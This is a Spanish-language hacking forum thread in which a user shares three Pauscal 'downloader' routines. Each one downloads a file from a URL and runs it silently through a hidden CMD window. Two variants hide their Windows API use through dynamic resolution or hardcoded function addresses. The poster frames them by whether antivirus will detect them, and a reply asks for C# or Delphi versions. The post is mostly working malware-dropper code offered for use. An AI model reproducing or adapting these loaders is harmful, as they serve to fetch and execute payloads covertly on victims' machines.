[Pauscal] Código Downloader's

Iniciado por Yuki, Febrero 26, 2015, 06:53:54 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 26, 2015, 06:53:54 AM Ultima modificación: Abril 04, 2015, 08:52:19 PM por ANTRAX
Bueno, me puse a codear un downloader en Pauscal, les dejo los códigos... no los escanee, pero supongo que estaran detectables (o no ...?).

Les ofresco distintos metodos.

Downloader #1
Con las tipicas apis de windows, usando WinExec en vez de ShellExecute.

Código: text
Proc URLDownloadToFile(:Entero,Referencia,:Cadena,,:Entero):Entero,"Urlmon.dll" "URLDownloadToFileA"
Proc WinExec(Referencia lpCmdLine:Cadena,uCmdShow:Entero):Entero,"Kernel32.dll"

Proc Downloader_1(Referencia URL,Archivo:Cadena)
Si URLDownloadToFile(0,URL,Archivo,0,0) = 0 Entonces WinExec("CMD /D /C " + #34 + Archivo + #34,0)
FinProc


Downloader #2
Usando las mismas apis, pero utilizando prototipos en vez de declaraciones, mas LoadLibrary y GetProcAdress.

Código: text
Prototipo URLDownloadToFile(,,,,:Entero):Entero
Prototipo WinExec(,:Entero):Entero

Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
Proc FreeLibrary(hLibModule:Entero):Entero,"Kernel32.dll"

Proc Downloader_2(Referencia URL,Archivo:Cadena)
Var LibreriaPtr,ProcedimientoPtr:Entero
Var EnlaceAArchivo:UrlDownloadToFile
Var WinEjecutar:WinExec
Var UrlCheck:Entero
Var Comando:Cadena
Var @Ptr1,@Ptr2,@Ptr3:Entero
Comando = "CMD /D /C " + #34 + Archivo + #34
Ptr1@ = Url@ ' Los prototipos deben enviar punteros a las cadenas como las llamadas originales.
Ptr2@ = Archivo@
Ptr3@ = Comando@
LibreriaPtr = LoadLibrary("Urlmon.dll")
Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
ProcedimientoPtr = GetProcAddress(LibreriaPtr,"URLDownloadToFileA")
Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
EnlaceAArchivo@ = ProcedimientoPtr
Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces ' Establecemos los parametros y llamamos a la API.
LibreriaPtr = LoadLibrary("Kernel32.dll")
Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
ProcedimientoPtr = GetProcAddress(LibreriaPtr,"WinExec")
Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
WinEjecutar@ = ProcedimientoPtr
WinEjecutar(Ptr3,0)
FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
FinSi
FinProc


Downloader #3
ATENCIÓN! Este puede no funcionar en todos los sistemas operativos, basicamente es el código anterior, pero usamos los punteros a los procedimientos DIRECTAMENTE, sin obtenerlos mediante GetProcAddress.

Código: text
Prototipo URLDownloadToFile(,,,,:Entero):Entero
Prototipo WinExec(,:Entero):Entero

Proc Downloader_3(Referencia URL,Archivo:Cadena)
Var LibreriaPtr,ProcedimientoPtr:Entero
Var EnlaceAArchivo:UrlDownloadToFile
Var WinEjecutar:WinExec
Var Comando:Cadena
Var @Ptr1,@Ptr2,@Ptr3:Entero
Comando = "CMD /D /C " + #34 + Archivo + #34
Ptr1@ = Url@
Ptr2@ = Archivo@
Ptr3@ = Comando@
EnlaceAArchivo@ = 1977837776
Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces
WinEjecutar@ = 1881876227
WinEjecutar(Ptr3,0)
FinSi
FinProc


Espero que les sirva, saludos!

habia buscado esto hace un buen tiempo lo probare, aunque me gustaria saber si por casualidad sabes de algo parecido en c# o delphi